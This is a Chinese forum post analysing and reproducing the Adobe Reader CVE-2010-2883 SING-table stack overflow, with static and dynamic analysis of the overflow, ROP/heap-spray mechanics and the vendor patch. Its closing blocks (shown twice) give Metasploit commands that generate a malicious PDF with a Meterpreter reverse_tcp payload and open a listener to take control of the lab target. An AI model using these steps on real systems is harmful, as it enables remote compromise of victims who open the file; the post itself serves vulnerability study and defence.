首页
社区
课程
招聘
[分享]CVE-2010-2883漏洞分析与复现
发表于: 2021-8-18 17:41 14602

[分享]CVE-2010-2883漏洞分析与复现

2021-8-18 17:41
14602

Adobe Reader是美国Adobe公司开发的非常流行的PDF文件阅读器。

pdf中带有TTF字体Smart INdependent Glyphlets (SING)表的UniqueName成员在CoolType.dll中执行一次strcat函数。

Adobe Reader 9.3.4之前的版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞函数strcat,在执行时会将pdf文件的SING表的UniqueName字符串拷贝进栈中,并且不检查字符串长度。

Windows、Macintosh和UNIX系统下Adobe Reader 9.3.4 之前的版本。

官方的安全更新方案是更新软件。

官方文档链接

(1) Kali中启动Metasploit生成木马文件

1.PNG

2.PNG

(2) 将PDF木马文件发送至靶机

3.PNG

(3) Metasploit开启shell监听会话,等待靶机打开pdf

4.PNG

(4) 靶机中运行pdf,系统会出现卡顿

5.PNG

(5) Metasploit获取shell会话,并用Meterpreter控制靶机

6.PNG

7.PNG

(6) 切换进程

这个漏洞利用过程,adobe reader会“卡壳”退出,所以需要快速切换到其他系统进程,这样会话才不会丢失。

8.PNG

9.PNG

程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖

面向返回编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。

pdf文件中的SING表:

pdf文件中包含一个TTF字体文件,其包含一个SING表,以'SING'签名开始,使用PdfStreamDumper.exe查看恶意pdf文件,能够找到SING表的TableEntry:

10.PNG

TableEntry的结构是这样的:

其中offset成员指向ttf文件中SING表的起始地址,在这个pdf中时0x11c:

11.PNG

SING表的结构如下所示

12.PNG

根据结构计算,UniqueName成员应为SING表+0x10处,也就是图中所示

13.PNG

而这部分数据会被作为strcat()函数的第二个参数传入栈中了,直到出现字符串截断符0x11

strcat()函数位于Adobe Reader的安装目录中的CoolType.dll文件中,使用Ida打开改文件,shift+F12搜索“SING”字符串,发现在引用该字符串(0x0803DD74)下方不远处就能找到strcat()函数(0x0803DDAB):

14.PNG

按F5将其转为C代码查看,发现在strcat()处将一个指针变量+0x10的字符串入栈说明这个变量就是sing表的基地址,而+0x10位置便是UniqueName成员的地址。

15.PNG

下载AdobeReader 9.4.0提取CoolType.dll,定位到相同的位置

25.PNG

这里不是调用strcat,而是sub_813391E,跟进:

26.PNG

可以看到在使用strcat函数前增加了参数字符串长度判断

具体的漏洞函数功能、触发条件、源代码分析

打开AdobeReader.exe,使用OD附加到进程,ctrl+G搜索“SING”字符串的地址0x0803DD74,设置断点。

16.PNG

按F9让pdf阅读器先运行初始化,然后打开用msf生成的恶意pdf文件(运行过程中出现卡顿和报错是正常现象,不需要理会),在“SING”字符串的地址不远处找到strcat函数的调用,设置断点

动态分析strcat函数之前这段代码,其功能是检查pdf中是否包含SING表,并解析SING表,获取其UniqueName成员:

让程序执行,并步过strcat这个函数,此时查看栈窗口:

17.PNG

返回地址已经被覆盖为0x4A82A714,查看该地址的反汇编窗口:

18.PNG

对应指令为pop esp;ret;

此处用到了ROP技术绕过DEP,执行这两条指令的作用是将栈中跳转地址的下一地址的内容(此处为0x0C0C0C0C)赋值给esp,产生的作用等同于 mov esp,0x0C0C0C0C;此时的esp被修改为0x0c0c0c0c,这时就将代码执行流引导至地址0x0C0C0C0C处

19.PNG

0x0C0C0C0C处是一个ROP链,这个链是在程序执行JavaScript时实现的HeapSpray而写入的,这个JavaScript的二进制数据也存在于pdf中,是精心构造出来的。

继续跟进ROP链,看到先后调用函数CreateFile 、CreateFileMapping、MapOfViewMap创建了文件iso88591:

20.PNG

21.PNG

22.PNG

23.PNG

使用memcpy函数将shellcode复制到了0x03F4000处:

24.PNG

更新Adobe Reader版本至高于9.4.0以上。

不打开来源不明的pdf

知乎:CVE-2010-2883 Adobe Reader 打开pdf电脑即刻中招

bilibili:CVE-2010-2883解析

CSDN:CEV-2010-2883 Adobe Reader漏洞复现

第一次分析实际漏洞,文中有些知识点没有仔细分析,比如JavaScript实现的HeapSpary,还有ROP链将shellcode写入内存后的shellcode行为分析,还请大佬们不吝赐教

感谢有毒版主提供的模板,拿来吧你

 
 
搜索Adobe渗透模块 
msf > search adobe_cooltype_sing
调用渗透模块 
msf > use exploit/windows/fileformat/adobe_cooltype_sing/
搜索Adobe渗透模块 
msf > search adobe_cooltype_sing
调用渗透模块 
msf > use exploit/windows/fileformat/adobe_cooltype_sing/
调用meterpreter载荷,反向连接到渗透机 
msf  exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp 
设置Kali Linux的IP地址 
msf  exploit(adobe_cooltype_sing) > set LHOST 192.168.44.153 
设置本地监听端口 
msf  exploit(adobe_cooltype_sing) > set LPORT 8888 
设置PDF文件名称
msf  exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf 
生成PDF文件
msf  exploit(adobe_cooltype_sing) > exploit
调用meterpreter载荷,反向连接到渗透机 
msf  exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp 
设置Kali Linux的IP地址 
msf  exploit(adobe_cooltype_sing) > set LHOST 192.168.44.153 
设置本地监听端口 
msf  exploit(adobe_cooltype_sing) > set LPORT 8888 
设置PDF文件名称
msf  exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf 
生成PDF文件
msf  exploit(adobe_cooltype_sing) > exploit
 
 
 
使用handler监听模块 
msf > use exploit/multi/handler 
回弹一个tcp连接 
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp 
设置监听IP地址(跟PDF木马文件一致) 
msf  exploit(handler) > set LHOST 192.168.44.153
设置监听的端口(跟PDF木马文件一致) 
msf  exploit(handler) > set LPORT 8888 
开启监听 
msf  exploit(handler) > exploit
使用handler监听模块 
msf > use exploit/multi/handler 
回弹一个tcp连接 
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp 
设置监听IP地址(跟PDF木马文件一致) 
msf  exploit(handler) > set LHOST 192.168.44.153
设置监听的端口(跟PDF木马文件一致) 
msf  exploit(handler) > set LPORT 8888 
开启监听 
msf  exploit(handler) > exploit
 
 
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-8-18 17:44 被Sal_Tay编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//